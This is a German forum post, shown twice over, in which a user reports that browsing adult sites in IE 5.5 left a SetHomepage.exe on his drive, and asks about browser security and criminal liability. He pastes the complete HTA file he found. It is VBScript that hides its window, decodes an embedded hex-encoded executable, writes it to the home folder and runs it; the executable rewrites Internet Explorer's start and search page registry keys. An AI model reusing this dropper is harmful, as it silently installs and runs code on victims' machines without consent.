TSCoreNinja
Mitglied
Liebe Forenmitglieder,
bei Nachforschungen zu meinem Lieblingsdialer (mehr demnaechst), bin ich von einem Webportal aus Richtung Erwachsenenunterhaltung gesurft.
Interessanterweise sind die Endpunkte von etlichen Redirects browserabhaengig. Bei Verwendung eines IE 5.5 begegnete mir neben 3 Dialern etwas, was mir ziemlich zu denken gibt. Auf einmal war eine Datei SetHomepage.exe im Hauptverzeichnis C:\
Blick in die History unter "Temporary Internet Files" offenbarte ein seltsames VBS Script (Visual BasicScript?), das offensichtlich dafuer verantwortlich ist. Text steht weiter unten. Soll dies so klappen? Darf dies klappen, stehen beim Browser die Sicherheitseinstellungen falsch? Ich war davon ausgegangen, Downloads von EXE Dateien muessten immer bestaetigt werden.
An die Juristen unter Euch, reicht dies fuer Anzeige Datenveraenderung, §hastenichtgesehen STGB?
Gruss,
TSCoreNinja
Anhang: fullservice.hta
<title></title>
<script language=vbs>
self.moveto 5000,5000
dim v(34)
v(0)="4d,5a,90,y,03,y,y,y,04,y,y,y,z,z,y,y,b8,y,y,y,y,y,y,y,40,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(1)=",y,d0,y,y,y,0e,1f,ba,0e,y,b4,09,cd,21,b8,01,4c,cd,21,54,68,69,73,20,70,72,6f,67,72,61,6d,20,63,61,6e,6e,6f,74,20,62,65,20,72,75,6e,20,69,6e,20,44,4f,53,20,6d,6f,64,65,2e,0d"
v(2)=",0d,0a,24,y,y,y,y,y,y,y,0d,26,56,df,49,47,38,8c,49,47,38,8c,49,47,38,8c,b3,64,21,8c,4c,47,38,8c,49,47,39,8c,4d,47,38,8c,b3,63,25,8c,48,47,38,8c,b3,63,05,8c,48,47,38,8c,52,69"
v(3)=",63,68,49,47,38,8c,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,50,45,y,y,4c,01,02,y,dd,d3,81,3d,y,y,y,y,y,y,y,y,e0,y,0f,01,0b,01,07,y,y"
v(4)=",02,y,y,y,02,y,y,y,y,y,y,y,10,y,y,y,10,y,y,y,20,y,y,y,y,40,y,y,10,y,y,y,02,y,y,04,y,y,y,y,y,y,y,04,y,y,y,y,y,y,y,y,30,y,y,y,04,y,y"
v(5)=",y,y,y,y,02,y,y,y,y,y,10,y,y,10,y,y,y,y,10,y,y,10,y,y,y,y,y,y,10,y,y,y,y,y,y,y,y,y,y,y,f0,20,y,y,3c,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(6)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,20,20,y,y,1c,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(7)=",y,y,y,y,y,y,y,y,y,y,y,20,y,y,18,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,2e,74,65,78,74,y,y,y,a0,y,y,y,y,10,y,y,y"
v(8)=",02,y,y,y,04,y,y,y,y,y,y,y,y,y,y,y,y,y,y,20,y,y,60,2e,72,64,61,74,61,y,y,ec,01,y,y,y,20,y,y,y,02,y,y,y,06,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(9)=",40,y,y,40,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(10)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(11)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(12)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(13)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(14)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(15)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(16)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(17)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,51,53,56,8b,35,y,20,40,y,57,8d,44,24,0c,50,68,3f,y,0f,y,6a,y,68,c4,20,40,y,68,01,y,y,80,z,d6,85,c0,8b,3d,08"
v(18)=",20,40,y,8b,1d,04,20,40,y,75,1e,8b,4c,24,0c,6a,1b,68,3c,20,40,y,6a,01,6a,y,68,b8,20,40,y,51,z,d7,8b,54,24,0c,52,z,d3,8d,44,24,0c,50,68,3f,y,0f,y,6a,y,68,8c,20,40,y,68"
v(19)=",02,y,y,80,z,d6,85,c0,75,1d,8b,4c,24,0c,6a,24,68,58,20,40,y,6a,01,50,68,7c,20,40,y,51,z,d7,8b,54,24,0c,52,z,d3,6a,y,z,15,10,20,40,y,5f,5e,5b,90,90,90,90,90,90,90,90,90"
v(20)=",90,90,90,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(21)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(22)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(23)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(24)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(25)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(26)=",y,80,21,y,y,60,21,y,y,6e,21,y,y,y,y,y,y,44,21,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,dd,d3,81,3d,y,y,y,y,02,y,y,y,4c,y,y,y,a0,21,y,y,a0,07"
v(27)=",y,y,68,74,74,70,3a,2f,2f,77,77,77,2e,73,74,61,72,74,73,65,69,74,65,2e,64,65,2f,y,y,y,68,74,74,70,3a,2f,2f,77,77,77,2e,73,74,61,72,74,73,65,69,74,65,2e,64,65,2f,73,65,61,72"
v(28)=",63,68,62,61,72,y,y,53,65,61,72,63,68,41,73,73,69,73,74,61,6e,74,y,53,6f,66,74,77,61,72,65,5c,4d,69,63,72,6f,73,6f,66,74,5c,49,6e,74,65,72,6e,65,74,20,45,78,70,6c,6f,72,65,72"
v(29)=",5c,53,65,61,72,63,68,y,53,74,61,72,74,20,50,61,67,65,y,y,53,6f,66,74,77,61,72,65,5c,4d,69,63,72,6f,73,6f,66,74,5c,49,6e,74,65,72,6e,65,74,20,45,78,70,6c,6f,72,65,72,5c,4d,61"
v(30)=",69,6e,y,y,y,3c,21,y,y,y,y,y,y,y,y,y,y,52,21,y,y,10,20,y,y,2c,21,y,y,y,y,y,y,y,y,y,y,90,21,y,y,y,20,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(31)=",y,y,y,y,y,y,80,21,y,y,60,21,y,y,6e,21,y,y,y,y,y,y,44,21,y,y,y,y,y,y,ab,y,45,78,69,74,50,72,6f,63,65,73,73,y,4b,45,52,4e,45,4c,33,32,2e,64,6c,6c,y,y,c8"
v(32)=",01,52,65,67,43,6c,6f,73,65,4b,65,79,y,f8,01,52,65,67,53,65,74,56,61,6c,75,65,45,78,41,y,y,e1,01,52,65,67,4f,70,65,6e,4b,65,79,45,78,41,y,41,44,56,41,50,49,33,32,2e,64,6c,6c"
v(33)=",y,y,y,y,52,53,44,53,77,f2,e5,03,d5,4a,cd,4b,bc,65,a3,90,d8,17,76,cf,08,y,y,y,63,3a,5c,44,65,76,5c,50,72,6f,6a,65,63,74,73,5c,53,65,74,48,6f,6d,65,70,61,67,65,5c,52,65,6c"
v(34)=",65,61,73,65,5c,53,65,74,48,6f,6d,65,70,61,67,65,2e,70,64,62,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
function res(x,y)
For k = 0 To UBound(v)
v(k) = Replace(v(k), x, y)
Next
End Function
res "z", "ff"
res "y", "00"
For m = 0 To UBound(v)
it = it & v(m)
Next
tmp = Split(it, ",")
Set WshShell = CreateObject("WScript.Shell")
Set WshEnv = WshShell.Environment("Process")
pth = WshEnv("HOMEDRIVE") & WshEnv("HOMEPATH") & "\SetHomepage.exe"
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.CreateTextFile(pth, True)
For i = 0 To UBound(tmp)
l = Len(tmp(i))
b = Int("&H" & Left(tmp(i), 2))
If l > 2 Then
r = Int("&H" & Mid(tmp(i), 3, l-2))
For j = 1 To r
f.Write Chr(b)
Next
Else
f.Write Chr(b)
End If
Next
f.Close
WshShell.run("""" & pth & """")
self.close
</script>
bei Nachforschungen zu meinem Lieblingsdialer (mehr demnaechst), bin ich von einem Webportal aus Richtung Erwachsenenunterhaltung gesurft.
Interessanterweise sind die Endpunkte von etlichen Redirects browserabhaengig. Bei Verwendung eines IE 5.5 begegnete mir neben 3 Dialern etwas, was mir ziemlich zu denken gibt. Auf einmal war eine Datei SetHomepage.exe im Hauptverzeichnis C:\
Blick in die History unter "Temporary Internet Files" offenbarte ein seltsames VBS Script (Visual BasicScript?), das offensichtlich dafuer verantwortlich ist. Text steht weiter unten. Soll dies so klappen? Darf dies klappen, stehen beim Browser die Sicherheitseinstellungen falsch? Ich war davon ausgegangen, Downloads von EXE Dateien muessten immer bestaetigt werden.
An die Juristen unter Euch, reicht dies fuer Anzeige Datenveraenderung, §hastenichtgesehen STGB?
Gruss,
TSCoreNinja
Anhang: fullservice.hta
<title></title>
<script language=vbs>
self.moveto 5000,5000
dim v(34)
v(0)="4d,5a,90,y,03,y,y,y,04,y,y,y,z,z,y,y,b8,y,y,y,y,y,y,y,40,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(1)=",y,d0,y,y,y,0e,1f,ba,0e,y,b4,09,cd,21,b8,01,4c,cd,21,54,68,69,73,20,70,72,6f,67,72,61,6d,20,63,61,6e,6e,6f,74,20,62,65,20,72,75,6e,20,69,6e,20,44,4f,53,20,6d,6f,64,65,2e,0d"
v(2)=",0d,0a,24,y,y,y,y,y,y,y,0d,26,56,df,49,47,38,8c,49,47,38,8c,49,47,38,8c,b3,64,21,8c,4c,47,38,8c,49,47,39,8c,4d,47,38,8c,b3,63,25,8c,48,47,38,8c,b3,63,05,8c,48,47,38,8c,52,69"
v(3)=",63,68,49,47,38,8c,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,50,45,y,y,4c,01,02,y,dd,d3,81,3d,y,y,y,y,y,y,y,y,e0,y,0f,01,0b,01,07,y,y"
v(4)=",02,y,y,y,02,y,y,y,y,y,y,y,10,y,y,y,10,y,y,y,20,y,y,y,y,40,y,y,10,y,y,y,02,y,y,04,y,y,y,y,y,y,y,04,y,y,y,y,y,y,y,y,30,y,y,y,04,y,y"
v(5)=",y,y,y,y,02,y,y,y,y,y,10,y,y,10,y,y,y,y,10,y,y,10,y,y,y,y,y,y,10,y,y,y,y,y,y,y,y,y,y,y,f0,20,y,y,3c,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(6)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,20,20,y,y,1c,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(7)=",y,y,y,y,y,y,y,y,y,y,y,20,y,y,18,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,2e,74,65,78,74,y,y,y,a0,y,y,y,y,10,y,y,y"
v(8)=",02,y,y,y,04,y,y,y,y,y,y,y,y,y,y,y,y,y,y,20,y,y,60,2e,72,64,61,74,61,y,y,ec,01,y,y,y,20,y,y,y,02,y,y,y,06,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(9)=",40,y,y,40,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(10)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(11)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(12)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(13)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(14)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(15)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(16)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(17)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,51,53,56,8b,35,y,20,40,y,57,8d,44,24,0c,50,68,3f,y,0f,y,6a,y,68,c4,20,40,y,68,01,y,y,80,z,d6,85,c0,8b,3d,08"
v(18)=",20,40,y,8b,1d,04,20,40,y,75,1e,8b,4c,24,0c,6a,1b,68,3c,20,40,y,6a,01,6a,y,68,b8,20,40,y,51,z,d7,8b,54,24,0c,52,z,d3,8d,44,24,0c,50,68,3f,y,0f,y,6a,y,68,8c,20,40,y,68"
v(19)=",02,y,y,80,z,d6,85,c0,75,1d,8b,4c,24,0c,6a,24,68,58,20,40,y,6a,01,50,68,7c,20,40,y,51,z,d7,8b,54,24,0c,52,z,d3,6a,y,z,15,10,20,40,y,5f,5e,5b,90,90,90,90,90,90,90,90,90"
v(20)=",90,90,90,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(21)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(22)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(23)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(24)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(25)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(26)=",y,80,21,y,y,60,21,y,y,6e,21,y,y,y,y,y,y,44,21,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,dd,d3,81,3d,y,y,y,y,02,y,y,y,4c,y,y,y,a0,21,y,y,a0,07"
v(27)=",y,y,68,74,74,70,3a,2f,2f,77,77,77,2e,73,74,61,72,74,73,65,69,74,65,2e,64,65,2f,y,y,y,68,74,74,70,3a,2f,2f,77,77,77,2e,73,74,61,72,74,73,65,69,74,65,2e,64,65,2f,73,65,61,72"
v(28)=",63,68,62,61,72,y,y,53,65,61,72,63,68,41,73,73,69,73,74,61,6e,74,y,53,6f,66,74,77,61,72,65,5c,4d,69,63,72,6f,73,6f,66,74,5c,49,6e,74,65,72,6e,65,74,20,45,78,70,6c,6f,72,65,72"
v(29)=",5c,53,65,61,72,63,68,y,53,74,61,72,74,20,50,61,67,65,y,y,53,6f,66,74,77,61,72,65,5c,4d,69,63,72,6f,73,6f,66,74,5c,49,6e,74,65,72,6e,65,74,20,45,78,70,6c,6f,72,65,72,5c,4d,61"
v(30)=",69,6e,y,y,y,3c,21,y,y,y,y,y,y,y,y,y,y,52,21,y,y,10,20,y,y,2c,21,y,y,y,y,y,y,y,y,y,y,90,21,y,y,y,20,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
v(31)=",y,y,y,y,y,y,80,21,y,y,60,21,y,y,6e,21,y,y,y,y,y,y,44,21,y,y,y,y,y,y,ab,y,45,78,69,74,50,72,6f,63,65,73,73,y,4b,45,52,4e,45,4c,33,32,2e,64,6c,6c,y,y,c8"
v(32)=",01,52,65,67,43,6c,6f,73,65,4b,65,79,y,f8,01,52,65,67,53,65,74,56,61,6c,75,65,45,78,41,y,y,e1,01,52,65,67,4f,70,65,6e,4b,65,79,45,78,41,y,41,44,56,41,50,49,33,32,2e,64,6c,6c"
v(33)=",y,y,y,y,52,53,44,53,77,f2,e5,03,d5,4a,cd,4b,bc,65,a3,90,d8,17,76,cf,08,y,y,y,63,3a,5c,44,65,76,5c,50,72,6f,6a,65,63,74,73,5c,53,65,74,48,6f,6d,65,70,61,67,65,5c,52,65,6c"
v(34)=",65,61,73,65,5c,53,65,74,48,6f,6d,65,70,61,67,65,2e,70,64,62,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
function res(x,y)
For k = 0 To UBound(v)
v(k) = Replace(v(k), x, y)
Next
End Function
res "z", "ff"
res "y", "00"
For m = 0 To UBound(v)
it = it & v(m)
Next
tmp = Split(it, ",")
Set WshShell = CreateObject("WScript.Shell")
Set WshEnv = WshShell.Environment("Process")
pth = WshEnv("HOMEDRIVE") & WshEnv("HOMEPATH") & "\SetHomepage.exe"
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.CreateTextFile(pth, True)
For i = 0 To UBound(tmp)
l = Len(tmp(i))
b = Int("&H" & Left(tmp(i), 2))
If l > 2 Then
r = Int("&H" & Mid(tmp(i), 3, l-2))
For j = 1 To r
f.Write Chr(b)
Next
Else
f.Write Chr(b)
End If
Next
f.Close
WshShell.run("""" & pth & """")
self.close
</script>